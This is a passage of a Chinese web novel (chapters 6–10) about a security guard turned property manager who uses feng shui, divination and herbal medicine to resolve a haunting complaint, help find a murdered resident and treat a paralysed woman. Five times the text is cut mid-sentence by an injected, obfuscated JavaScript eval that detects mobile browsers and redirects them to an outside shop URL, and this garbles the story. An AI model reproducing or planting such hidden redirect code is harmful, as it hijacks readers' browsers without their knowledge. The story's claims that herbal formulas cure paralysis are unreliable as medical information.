我想了想说：“这也好办，师哥，你都需要做啥？” 王敬之看我问他，慢条斯理的说：“无非就是准备一个宽敞、整洁的场所，准备祭台和祭品，我给念诵相关经文。” 林皓看了看我，说：“向荣，这事不宜扩大，我们就利用 18 楼女业主这间房，告诉17 和 19 楼的业主一声就行，让他们知道来了个专业人士，做了专业的事情，以后也就不庸人自扰了。” 然后又笑眯眯的对王敬之说：“敬之，咱们这物业小区，住的什么样人都有，文化水平和心里承受能力各不相同，我也是没办法，为了大部分人的安静生活，只能用上这些非常手段。” 我明白老林的良苦用心，“林哥，我们都理解，物业就是看众生百态，大家住在一起和谐共生，没事，我师哥也理解。” 我朝着王敬之眨眨眼，意思这回全靠你了，王敬之回我个白眼。 哎！他老这样，一点没变。 第六章 失踪的业主 我按照王敬之的指示，跟 18 楼业主商量好借用房间，准备好了王敬之需要的东西，然后又上门跟 17 和 19 楼的业主说了一声。 还真别说，我这师哥还挺有本事，一个人念念叨叨的愣是整了三整天。 这三天，我每天都去给他送吃的，看他严肃认真的敬业态度，我确实很佩服，找他果然找对了。 最后一天结束的时候，我和王敬之已经锁上门出来了，19 楼的业主等在门口。 19 楼这个业主是个退休在家的老大娘，年纪将近 70 了，一副神神秘秘的样子看着我们，还给我俩吓了一跳。 “大娘，您等在这是什么情况？”我好奇的问。 “小师傅，怎么样？”大娘没搭理我，直接去问王敬之。 王敬之尴尬的擦擦汗，“大娘，没事了。一切正常！” “哎呦！太好了！小师傅，你可真有本事呀！”大娘的脸笑成了一朵花，刚才那神秘劲荡然无存。 “小师傅，我可跟你说啊，这楼下的小姑娘命可苦啊，之前我总听见她老公打她，屋子里家具咣咣摔啊，她那个叫声，我到现在都能想起来唉！”大娘转而又感慨了。 “大娘，您听见她老公打她，您没下来劝一劝呢？”我问。 “这孩子，你咋知道我没劝呢！我下来劝过几回，但是她那个老公跟个黑塔似的，油盐不进。后来我一想，人家夫妻俩的事情，外人还是少插嘴，清官难断家务事！” 说完大娘的眼神又落寞了一下，继续补充：“哎，可谁知道这姑娘这么想不开，咋就这么冲动的走了呀！自打知道她走了以后，我天天都睡不好觉，你说我要是再坚持坚持、劝劝，是不就不会发生这样的事了？” 我一听，立刻全明白了，原来是大娘对没有去劝阻家暴心生愧疚，疑心生暗鬼了。 “大娘，您已经在能力范围内帮她了，至于结果那是谁也无法把控的，就不要自责了吧。”我想劝她化解了心结。 “大娘，您做了善举，会有福报的。现在人走了，咱们就让逝者安息，不要再揣测了！”王敬之补刀补的太好了！ 那大娘赶紧闭嘴，点头示意，开开心心的上了楼。 林皓听说这事办成功了，开心的不行，一定要留王敬之在宿舍住下，第二天宴请。王敬之经不住我和林皓的劝说，答应下来。 吃饭的时候我们三个天南海北的聊着，林皓明显对是不是真的有阿飘感兴趣，我看他欲言又止了好几回，最后终于忍不住问出了口。 “敬之，真的有阿飘吗？阿飘长得跟生前一个样儿？那这么说投胎转世那些都是真的？那岂不是我们的前世、后世，都长一个样子？” 王敬之眨巴眨巴眼睛神秘的说：“林哥，你知不知道，其实 18 楼的女业主真的变成阿飘了，她在等她的孩子一起去投胎，左等不来右等不来，所以 17 和 19 楼的业主才能听见声音。” 林皓吓坏了，张大了嘴巴，嗫嚅的问：“啊，这、这可咋办？咋办？” 我知道王敬之在吓唬林皓，瞪了王敬之一眼，让他不要开这么过分的玩笑。 王敬之突然就哈哈大笑起来，“林哥，死了就是一了白了了，张嘴就说有鬼的，那都是在招摇撞骗！也没有死了又复活的人，谁知道死了以后什么样、然后还能回来讲出来？”林皓反应过来，不好意思的挠挠脑袋，嘿嘿的笑了。 我想了想说：“19 楼的大娘因为当时没有坚持规劝实施家暴的女主丈夫，心里一直过意不去，心里放不下，疑心生了暗鬼。是不是真的会有来世我们都不知道，如果真的有，那么这个老公应该会有报应，从概率学和某些科学方面来看，所谓的报应，也是一种必然性。” 王敬之赞同的看着我笑，林皓也频频点头，我看着现在成长飞快的王敬之，不免低落。 我现在当一个小保安，一个月工资 3000 块钱，什么时候才能在这里买套房、接爸妈过来安享天年呢！ 林皓看出了我的低落，“向荣，怎么啦你？解决了这么一件大事，怎么还闷闷不乐了。” 王敬之瞅瞅我，笑了笑，“林哥，你觉得向荣怎么样？” “向荣那必须是最棒的呀！如果没有向荣，这跳楼事件我都不知道该咋收口。”林皓由衷的表达。 “那你觉得向荣的能力只配当一个保安吗？”王敬之仿佛看进了我的心里。 林皓恍然大悟，“向荣，你放心，明天上班我就跟集团请示，升你当保安经理！” 我的眼前一亮，保安经理，月薪 5000，给力！ 我看看王敬之，后者正跟我眨眼睛，不愧是我师哥，有好事第一时间想着我。 “谢谢林哥，我一定好好干！”我和林皓表达了一下谢意。 “谢什么谢，以后你就跟着我干，我下边不只管这一个楼盘，其它的你也跟着我走走，帮我培训培训这些保安，你的能力，我信得过！” 宴席散了以后，我送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158074|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王敬之上了出租车，我告诉他需要工作了就来找我。 他看了看我，欲言又止，车马上就开了他朝我喊：“这里的磁场有点问题， 你要小心！”。 我敷衍着答应，心里想着走了还跟我故弄玄虚，根本没当回事。 后来没过多久，林皓果然升了我的职，我被调派去城郊的一个楼盘，锦荣小区，管理那里的物业。 锦荣位于城郊，住宅式、50 年产权公寓楼为主；因为盘小，所以没有配置物业经理，我的级别最高，林皓让我全权负责。 园区里的业主基本以上班族小夫妻、物流公司货运公司员工为主，人员流动性高，据说那里的治安常出问题，而且还有业主在自己家地库失踪了。 小区园区主门位置设计在主干道两侧，面向丁字路口；园区中的建筑位于园区道路的尽头；建筑呈不规则排列，相邻建筑的墙体不平行，造成建筑之间棱角互相冲射。 我皱着眉头，心里叨咕着，这回遇到难题了。 上任第一天，我就叫来了原来的保安负责人，询问业主失踪的事情。 失踪的女业主王某在小区负一层地下车库里失踪半个月，活不见人、死不见尸。 其家人四处寻找无果，打电话又无法联系上她，预感不对，马上向警方报了警。 女业主与丈夫育有一个 10 岁左右的孩子，俩人关系很好，女业主是一个典型的贤妻良母，尤其是对孩子关爱有加，不可能这么久不回来，更不可能不跟家人打一声招呼就不见了，种种迹象表明，女业主的失踪不是那样的简单。 我特意去地下车库巡视了一番，小区一共有五栋楼，共用一个地下车库，业主失踪前驾驶的车辆还在。 地库没有摄像头，也没见到保安巡逻，小区的监管确实存在一定的漏洞，失踪案发生后，大家更加担心安全问题。 有些业主反应，“地库从交房到现在都没有摄像头，保安巡逻也不到位，盗窃案已经发生了十几起了，不要说是女的，就是我们男的下去都害怕。” 原来的负责人和我交接的时候说，集团拨给的经费少、没有那么多保安的编制，人手不够用，没办法安排巡逻；物业费收缴不上来，没钱配齐监控设备。 最后，他扔下一句：“这回我可全都交给你了，巧妇难为无米之炊，这工作我可干不了！”说完扭头就走。 我知道他已经被集团解聘，追他责也没意义，不如坐下来好好想想这些问题怎么解决。 第七章 整顿锦荣小区 一个拯救计划在我脑海中形成，我决定从恢复在业主心中的形象做起。 首先梳理了一下现有团队，客服、保安、保洁、工程维修，这些基本岗位倒是不残缺。 我给他们重新立了规矩，把原来一些制度都打印放大上墙，整个物业办公室显得严谨正规。 给几个岗位重新制定了奖罚制度、红线制度，触及底线的绝对没有第二次机会。 都弄利索以后，我给他们开了个会。 “大家一定对我都不陌生了，这几天我建章建制，勒紧了架在你们脖子上的小绳。你们也不用恨我，我是一个很简单的人，咱们工作就是工作，拿人钱财替人消灾，混日子的我不要！咱们集团薪资虽然不是很高，但是后方保障没问题。你们年龄也都不小了，都拖家带口的，有个好工作那么容易吗？” 我看着这几个人，谁也不说话，脸上也没什么表情。 “咱们物业之前的管理有多少漏洞，你们应该比我还了解。跟业主的关系紧张成互不信任的状态，这绝对不行！只有收齐了物业费，才有良性运转的前提。从今往后，我吃住在这，你们只要配合我，我保证你们在一年内恢复到一个舒服的工作状态！” 几个人听到最后一句，都齐刷刷的看向我，我读懂了，那里面有渴望，这些人还没放弃。 客服崔丹说话了：“吕经理，那咱们那个业主失踪的事咋办呀？这件事在网上都发酵的不行了。” “不用怕，我之前所在的那个楼盘，一样的情况，女业主跳楼，舆论发酵，后来不是一样摆平了吗？租售率还翻了好几倍，机会肯定是有的，我有信心！你们有没有信心？” 我大声喝令着。 “有” “有” 稀稀拉拉的、声音也参差不齐。 “啥状态呢，都一起说，有没有信心？”我喊道。 “有！”这一回声音很齐。 “大点声！有没有信心？”我又提高了一个度。 “有！”震耳欲聋。 “很好，都各就各位吧，保安，今天开始跟我去巡逻。” 保安目前算我一共三个人，监控室留一个人，岗亭留一个人，另一个人就负责巡逻。 我给林皓打了电话，告诉他如果想让我继续干，就把这里缺少的监控器都配齐喽。 林皓很为难，“向荣，你是知道的，集团向来按照盈利说话，那边的物业费收缴率排名倒第一，这钱我怎么申请的下来嘛！” “噢，你申请不下来，就不安，然后这边就出乱子，出了乱子还找不到问题解决，你让我在这当众矢之的是吧？”我不干。 “你别急，别急，我必须支持你的，你有问题，我也得担着呢。这样吧，我先从这边物业拨付一些费用给你，算是你们借款，你在半年内搞明白物业费，再还这边。” 我管你从哪出钱呢，反正这设备必须得给我配喽！ 搞定了监控设备，我又开始琢磨这进园区的门，保安人手不够，三个门都开着，根本忙不过来。 于是我组织业主委员会开了一个会，会上我讲了一下现在园区存在的问题。 “怎么着啊，吕经理，这些事儿我们都明眼见着的，你又说一遍有啥用？”业主甲吵吵。 “吕经理这么年轻，是不是经验不足啊！老张家失踪的老婆还没找到呢，人在地库没的，你敢不敢说跟你们物业没关系？”业主乙是女的，嘴巴不饶人。 其他几个人也不屑一顾的瞅着我，仿似我就是那个有罪的靶子，谁都可以来打一下。 年纪最大的老顾大声的说：“几位、几位，咱都稍安勿躁好不好？听听吕经理怎么说，管咋的他上任以后，物业的面貌确实改善了不少。” 我感激的看看老顾，然后笑着说：“各位的心情我十分理解，今天我召集大家凑一起来，就是为了解决这些问题的！” “那你说说怎么解决？这些都是设计上的问题，你咋解决？”业主甲咄咄逼人的问我。 “很简单，咱们变更一下进园区的主要入口，原来那个正门关闭，改从交通更方便的东门走。物业会种植矮灌木丛形成屏障，建设养鱼池豢养黑鱼，黑鱼可以释放大量负离子，净化空气。”我回。 业主乙没等我说完就嚷开了：“吕经理，你这里外里还是想在我们身上薅羊毛啊，这种树又养鱼的，不就是借机坑钱骗物业费吗！” 我一看，不弄点“东西”出来是不行了，好吧，既然如此。 “各位，咱们现在这些建筑设计上的问题，反应到风水学上就是财运不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158075|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳定、易出官非、影响居住者的健康和事业发展。物业做的这些补救措施恰恰是为了解决这些问题的。” 老顾的眼睛明显一亮，“吕经理，难不成你懂风水学？想不到这些问题终于有人看明白了。东门出入确实比之前的正门要方便多了，种植和豢养也能给小区带来别样的风貌，我同意！” 另外几个人看他都说话了，心里边对我说的话有了些许信服。 “顾老，您说这小伙懂风水？”业主乙不是很放心的问老顾。 “嗯，我听着全在点儿上，应该是系统的学习过，不 是特意现学现卖的。”顾老肯定。 这下子几个人都沸腾了，事情改完以后自己家能得利，谁不愿意呢？最后业主委员会一致同意我的整改意见。 这样一来，既改变了建筑设计的不利，又解决了保安人手不够的问题。 采购的监控设备到货后，我带领团队逐一安装、配备齐全，又在地库多安了几个照明灯。 这些改变在业主群里引起了不小的反响。 “这个新来的吕经理有两把刷子啊，地库摄像头都配齐了，感应灯也多了好几个！” “是啊，你们说神奇不神奇，我一个待判决的民事纠纷，昨儿竟然主动被约着和解了，还赔了我不少钱。” “我现在走地库也不害怕了，亮亮堂堂的，吕经理是办实事儿的人，支持！” 你做的工作，是有人看得见的，群众的眼睛是雪亮的。 出师有利，物业团队这几个人也都有了干劲，眼见着面貌越来越好。 我心里还是惦记着失踪的女业主，不管人是死是活，在小区内没有的，我就有义务查明真相。 不过，这青天白日的，一个大活人怎么就失踪了呢？ 我开始安排客服排查小区入住的全部业户档案，常住人口有多少、租住人口有多少。 建立业户档案，做到心中有数之后，我跟业主委员会发布了通知，以后小区实施封闭式管理。 封闭式管理可以更好的监督外来人员，地下停车场也做到人车分离，减少内部偷盗现象的发生，更好的为业主的生活保驾护航。 又是一票通过，业主的心里其实明镜似的，他们能看明白什么有利、什么向好。 第八章 电梯井内的尸体 始终搜寻未果的时候，警察那边传来消息，在一次抓捕吸毒人员的行动中，抓到锦荣物业离职保安赵亮。 赵亮被勒令强制戒毒，因为没有dp，受不了戒毒的过程，他交代了自己有命案。 经审问，被害者就是锦荣失踪的女业主。 原来，赵亮是刑满释放人员，出狱后到锦荣应聘保安，并开始陆陆续续的跟狱友联系，还经常带吸毒的狱友来锦荣小区。 事发那天他喝了点酒，长时间没有女人他很抓狂，正好遇到了到地库取车的女业主。 女业主长相清秀窈窕，赵亮铤而走险，把女业主打昏以后拖到地库闲置的一处封闭库房实施了强奸。 过程中女业主醒了，发现正在施暴的赵亮，一边大声呼救、一边挣扎反抗。 赵亮担心再次吃牢饭，情急之下勒死了女业主，当天晚上就辞职跑路了。 可是当警察追问死者尸体在哪的时候，他就闭口不言了，逼急了还胡言乱语。 警方给我们物业打电话，让我们帮忙排查锦荣小区是不是还有吸毒同伙。 这件事挺棘手，锦荣几百个业户，谁是吸毒的，真不好判断。 不过好的一面是，知道了女业主确实是被害了，不用再漫无目的的去猜测。 我给物业员工开了个会，布置了两项任务，一是留心观察可疑人员，尤其是吸毒的；二是重点排查可以装大型物体的，不要放过任何一处疑点。 晚上因为这事睡不着，在脑袋里翻来覆去的想着怎么揪出吸毒分子，实在想不出来了就翻看姥爷留给我的书，奇门遁甲几个字映入我眼帘。 灵光一现，不如，做个局。 第二天我就让物业人员放出风去，利用业主委员会顾老给我冠的“玄学人设”，称自己可以用奇门遁甲判断吸毒分子的方位。 结果下午业主群里就有反应了，“听说了没有，咱们小区有吸毒的，吕经理要用神功配合警察找呢！” “什么神功呀？说的玄乎的。” “不知道，我也没听懂，是什么甲。” “这帮人也真是的，放着好好的日子不过，非要残害自己的身体，群里的都招呼一声啊，谁发现哪个是吸毒的，举报！” 我一看，效应有了，这就有门儿！这一炸，说不定就把他们给炸出来。 果然没过两天，就传来捷报。 打扫卫生的保洁，在三号楼楼道里发现了用过的针头等物品，一看就是匆忙丢弃的，很多痕迹没来得及收拾。 她觉得这很可能就是我说的疑点，赶紧跑来跟我汇报。 我一拍大腿，没跑了，就是他们，我第一时间把这个线索还有那户业主的线索提供给了警察，因为时间提供的及时、人圈定的准确，警察没费吹灰之力就抓到了赵亮的同伙。 初战告捷，这件事让我兴奋不已。 紧跟着，园区西北那栋小区楼的业主来反映，最近很长的一段时间，电梯总是有问题。 一开始时候是电梯速度变慢、不稳，后来开始偶尔有异常噪音。 最近更严重，电梯频繁停摆，而且一层总会有似有若无的臭鸡蛋味儿。 我眼前一亮，这跟我用奇门遁甲推算的位置是西北方不谋而合，尸体一定在电梯井里！ 电梯井打开的时候，一股尸臭味传来，我赫然看到下面有一具已经开始腐败的尸体。 警察到现场的时候，尸体被抬出来，几乎全裸，上、下衣分别被扒至胸上膝下，颈部系有一块毛巾打结勒在脖子中。 尸体高度腐败，面目无法辨别，估计至少死了15天以上。 找到尸体的消息不胫而走，我精准判断出尸体方位的事情也被传的神乎其神。 女业主的丈夫带着孩子到我的物业办公室来感谢我，“吕经理是大善人啊！您一定会有好报的，我替孩子他妈谢谢你了！这些水果留给大伙吃，这段时间辛苦大家了。” “张哥，我这也是赶上了，那边的电梯出了故障给了提示，要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158076|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不然我也整不了那么准。” “吕经理别谦虚了，咱们小区谁不知道你是个玄学大师啊！”张哥是铁了心相信这事。 业主委员会还代表全体业主给物业赠送了一面锦旗，上面写着：智勇双全，物业显威！精准锁定，凶手无所遁形！ 而且还将当年欠缴的物业费收齐交了上来。 一时间，办公室集体起立，欢呼和掌声，搞得我很不好意思，心里开心的已经起飞。 崔丹一边吃水果一边说：“经理，你真厉害！当你的下属，太荣幸了！” 我的虚荣心又膨胀了，那种成就感比赚了多少钱都高兴。 林皓知道这件事以后，跟集团给我申请了一个特殊嘉奖，奖金一万元。 这件事还被好事者放到网上，就是那篇女业主失踪帖子的下面，把我吹嘘成了玄学大师。 一时间，我成了那片的风云人物。 人怕出名猪怕壮，果不其然的，一件又一件的事情接踵而至。 有一天我下班回宿舍的路上，业主委员会的老顾拦住我，“吕经理，我有一事相求。” 我看着面露难色的老顾，心里存疑 ，但却不好推脱，先问问看是什么事吧，然后再拒也不晚。 “顾老，您先说说看，如果我能做到，一定帮忙。” “吕经理是个热心人，是这样的，是我老伴的事情。几年前她因为车祸导致脑损伤，昏迷了几个月，苏醒后全身截瘫软化、失语，右眼几乎失明，左肢不停颤抖。经过西医的诊治和康复治疗，效果并不明显。除了她自己痛苦外，孩子们和我都疲惫不堪。” 顾老叹了口气继续说：“我听说玄学和中医是有关联的，想让吕经理给看看，如果有希望调理就调理一下，我的老太婆苦啊！” 原来是我最拿手的中医，大爷对大娘不离不弃的照顾打动了我，“行，我跟您去看看。” 老顾眼圈红红的直点头，“谢谢！谢谢！”我跟着他去了他们家。 第九章 治疗瘫软大娘 老顾家里布置的简单整洁，屋子里传出一股浓重的汤药味道。 “顾老，您自己熬药吗？”我不禁好奇，这老头说不定不是只懂皮毛。 “吕经理见笑了，配方、熬药这些我略懂一些。但是这些年给老伴喝了不少剂，却是收效甚微，不知道问题出在了哪里。” 说着他把他配的方子递给我，我没有先看方子，我想先看看大娘。 老太太在病床上躺着，看到有人来了，用眼神询问老顾，来人是谁。 老顾很耐心的告诉大娘，我是物业吕经理，过来给她把把脉。 大娘很信任的看着我，我坐下来，安静的切脉： 右寸关脉细，稍急不规律，尺脉难寻；左脉手抖动不停无法诊断，通过右尺脉无。 大娘坐躺在靠椅上，头向左肩垂搭，口吹白沫，不断流口水。上肢双手指难以伸直，右下肢脚向内偏撇，落地站不稳。 我打开顾老自己下的方子，想了想，重新写了一份新的方子递给他。 “这一副先服用一段时间，如果有改善，你再来找我，我再开后续的方子。” 顾老看了看方子，又不放心的看了看我，欲言又止。 我知道他是不放心，于是我给他讲解了一下开方思路： 先从调节和修复脑组织各神经系统正常运转开始，治疗颅脑陈旧伤，另卧床多年气血瘀阻体虚，需要全身气血双补。 老顾豁然开朗，边点头边道谢，离开老顾家以后，我感叹老年人生活的不易。 大约20天之后，老顾兴高采烈的来找我，“吕经理，你可真是神医啊！我老伴现在的身体好转的很明显，四肢都有不同程度的自动现象。现在就是练习坐的时候，还无法坐稳。” 我听完以后，跟他说：“大娘是腰部瘫软无法支撑，推测是肾严重衰竭。另外那天我看到大娘的牙齿发黑，这与长期牙齿不啃咬硬的食物退化也有关。我写一个下阶段的方子，您熬了给大娘喝。” 第二阶段以治肾补肾为主，顾老看完方子后有些迟疑，“这个配方很大胆啊，你大娘的年纪，会不会持守不了？” 我和顾老说，这一次每喝完一剂都跟我通个气，随时问诊。 老顾想了想，也没有其它选择，就去抓药熬药了。 一共服用了两剂，这期间又调整了一次个别药，增强温阳力度，但又不能过度伤阴。 服药同时定期康复理疗，又过了一个半月，顾大娘的四肢都有不同程度的运动进展。 左腿脚达到同正常人一样健康的程度，左上肢运动也灵活正常，只是手指略差些。 右侧上肢灵活度缓慢，但已能运动，右腿脚现能站立，力度还不够强。 但是只要后期坚持调理、理疗，一天比一天见好是一定的。 老顾和孩子一起来物业感谢我，又给我赠送了一面锦旗： 悬壶济世，医者仁心，精湛医术，妙手回春。 我的光荣事迹不胫而走，集团领导都听说了，有一天林皓给我打电话，告诉我集团让我年底去参加表彰大会。 “林哥，我不会说话，一见到人多我就眼晕。再说春节期间，小区的警戒最需要加强的，我还是不去了吧！”我推搪。 “你小子，这是好事啊，你不想升职加薪吗？就想一个月5000块钱？人手不够别担心，你那里收缴率早就达标了，我再给你配一个人，你该开会开会。” 我什么都说不出来，既然这样了，咱再推迟就不识好歹了。 林皓果然说到做到，没两天就给我派来了一个新人。 根据新规定，保安人员入职必须提交无犯罪证明，我照例进行了检查。 小伙子叫李壮，20岁出头，也是退伍兵，历史干净立整，我很满意。 整个物业被我整顿并捋顺以后，各项工作按部就班，团队的人也都有了干劲，我倒是没那么忙了，也有了午休的闲暇时间。 这天午休，客服崔丹和新来的保安李壮，非拉着我让我说说中医和算命。 我想了想，和他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158077|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说说也行，如果可以为人所用，那就是值得的。 “中医理论来源于中国传统文化阴阳五行，属于时空哲学范畴。中医以阴阳五行作为诊断治病的基础，通过外在的五行能量改变内在的五行能量，中医的治疗手段属于外因，人体脏腑状态是内因，这也符合哲学思想的外因需要通过内因起作用。” 他俩迷茫的看着我，听不懂！ 我笑着说：“肯定的啊，你们以为我是江湖郎中算命的呗，还给你说出一套一套的。告诉你们，中医这些属于国学范畴，不是迷信，别相信那些电视剧的夸张剧情。逆天改命是不可能的！” 他们俩懵懂的点头，我又说：“至于算命，是根据人的八字与所在流年的阴阳五行之间的生克关系，来推演人的疾病与生命的阶段性变化。也是阴阳五行在人体生命科学领域的运用，也不能简单粗暴的看做是封建迷信。” “不过算命术理论没有解决时空对立的问题，这一点中医却非常完美的解决了。” 崔丹忍不住说话了：“所以吕经理你是说，中医更靠谱是吧。” 我笑了笑没说话，看来我姥爷说的是对的，想干这一行，确实需要先天资质，得是这块料，才能领悟进去。 过了没多久，我就要去集团参加表彰大会了，林皓会与我同去，所以我去原来那个楼盘与他会和。 还没到目的地，只是到了附近，我就感觉气场不太对，跟之前的环境差很多，发生了什么？ 我想起来师哥王敬之跟我说的“这里的磁场有个很大的问题”，难不成真让他给说中了？ 下车后我就匆忙的往林皓办公室走，想问个究竟。我才走了一年，到底发生了什么事？ 我和林皓会和后，第一句话就问他：“林哥，你这个楼盘最近有什么怪事发生吗？” 林皓很意外，仔细想了想，说：“还真没有，自从你上一回摆平了业主，就一直风调雨顺的，什么事都没有。” 那就奇怪了，为什么我到这以后那种不舒服的感觉这么强烈呢？ 第十章 表彰大会 刚坐了一会儿，我就发现了问题，园区里不知道谁家在装修，那个噪音啊，坐在办公室都待不下去。 我看了看时间，还没到早上8点呢，就这噪音，怎么没人投诉？ 国家规定的装修时间是工作日的上午8点至12点，下午14点至18点，法定休息日、节假日全天都不能干产生噪声的装修。 这个业主明显是违规了啊。 林皓说：“这家已经装修快一个月了，一开始的时候我们每次都去提醒，业主态度特别好，但是该怎么干还是怎么干。既然没有业主投诉，装修这家也是我们的业主，所以也就睁一眼闭一眼了。” 我看看他，没有说话，林皓是我领导，我质疑人家的管理，不太合适。 因为要赶火车，我也没再去装修现场看，想着等回来再说，也不是自己管辖范围，手伸得太长也不好。 我所在的物业公司，是行业内小有名气的集团公司，在一线城市和新一线城市都有分埠。 最近两年搞合作化经营，在几个比较有名气的省会城市也开设了分埠。 林皓是整个北方区的物业老总，按说级别应该很大了，可这回集团大会，我有幸认识了活跃在老板身边的二把手。 二把手叫吴天宇，林皓把我引荐给他的时候，他眼前一亮，“这位就是既能破案又能治病的吕向荣啊，您好、您好！很荣幸见面。” 吴天宇热情的和我握手，我受宠若惊，这么大的领导如此的平易近人，真是难得。 “吴总，您好！”我也热情的和他握手。 可是我看着他的年龄并不大，貌似比林皓小很多，这么年轻就当上这么大的官，真是让我这样不好好学习的分子望尘莫及啊！ “向荣，这会儿我有点忙，一会儿散会了你跟老林来我办公室，我们聊聊。”吴总说。 我一愣，林皓赶紧接话：“好的吴总，一会儿结束我带他过去。” 吴天宇走开之后，我疑惑的问林皓：“林哥，领导特意找我，能是啥事呢？” 我一直向往不显山不露水，上学时候不贴近老师、当兵时候也不善于围拢领导，所以对这种大领导的亲自 慰问，浑身不自在。 “你放心，肯定不会是坏事。你从入职以后一直给公司建功，这些老板都有所耳闻的。” 林皓安慰我，然后想了想又说：“吴总呢，原来是总经理助理，就是老板的助理，国外留学回来的，接受的都是西式教育，咱们这些中医和玄学，他可能理解的没那么透彻。” 完了，那我还去干啥，我既不能讲过他、更不能把他讲过。 我心里想着这些，但是没有说出来，我担心林皓不满意。 “好吧，林哥，你是了解我的，我行伍出身、不善于围拢领导，一会儿你还得帮我多圆场啊。” “嗯，你就放心吧！你是我的心腹，我怎么可能放任别人欺负你。”林皓肯定的说。 我有感于他说的不允许别人欺负我，看来，职场也并不是像传闻中说的一样无情，主要还是看你跟的这个人的人品。 领导讲话、布置新一年目标、表彰一套流程走完，我也大开眼界。 认识了好几个城市的物业经理，还有保安负责人，年龄都比我大。 林皓说我是年轻有为，我说我是借了没考大学的光，如果能继续深造，我也不能走这条路。 林皓拍拍我的肩膀，“向荣，你自己说的，这都是注定，你就注定是吃这碗饭的。” 我笑笑，不置可否，能把自己的兴趣和工作结合起来，确实是一大幸事。 我跟着林皓来到了吴天宇的办公室。 办公室的面积很大，吴天宇的老板台正对着大门，他的位置后面是整面墙的落地窗。 这格局这时候吴天宇招呼我们坐下，我想先听听领导有什么指示。 他给我俩倒了两杯茶，然后坐在老板椅上，笑眯眯的和我们说：“老林，你们今年干得不错啊！业主的表扬信都寄集团来了。” 我和林皓都挺诧异，按说业主只是发个锦旗，顶多是给林皓发个表扬信啥的，咋还能整到集团呢。 吴天宇看我们疑惑，接着说：“是一个叫顾城的，信上说，他是向荣现在管的园区业主委员会的。” 原来是顾老，这老人家算是被我彻底征服了。 “顾老，我帮他给他老伴开了几个方子，大娘的病现在好转的很明显。”我回答。 吴天宇尤为感兴趣的看了看我，“向荣，你学过中医？” 我尴尬的挠挠头，说：“只是我姥爷的私人传授，并没有真正系统的学习过。” “哦？你外公是中医世家？”吴天宇继续问。 “嗯，我姥爷确实是继承的祖上传下来的衣钵，到了他这辈，就一个儿子，但是我舅对中医这些丝毫不感兴趣，他就传给了我。” 吴天宇对我的好奇度爆满，我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158078|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他像有很多话要问，但是又有些怀疑。 接受西式教育的人，没有真正体会过中医的博大精深，应该是体会不到里面的奥秘的。 “吴总，您这个办公室的布局是咱们集团统一要求的、还是您自己设计的？” 我实在忍不住了。 人在好的磁场里，是身心愉悦且安静的，会感觉到有精神、很舒服。 相反，在不合适甚至是有问题的气场里，会坐立不安，犯困，做什么错什么。 我现在就是在有问题的气场里，后脑勺正对着房门，时不时的听着走廊里有人经过，对于我这种学过术数的人来说，对不好的气场尤其敏感。 “不是集团统一规定的，我也没有特殊设计，搬进来是怎样的就怎样了，没改动。” 林皓知道我的职业病又发了，他看了看我，没有说话，他知道在这方面我不会让他失望。 “向荣，这个设计有什么问题吗？你可以知无不言，我倒也想听听你的看法。” 领导这是在考我了，既然如此，我必须一吐为快。 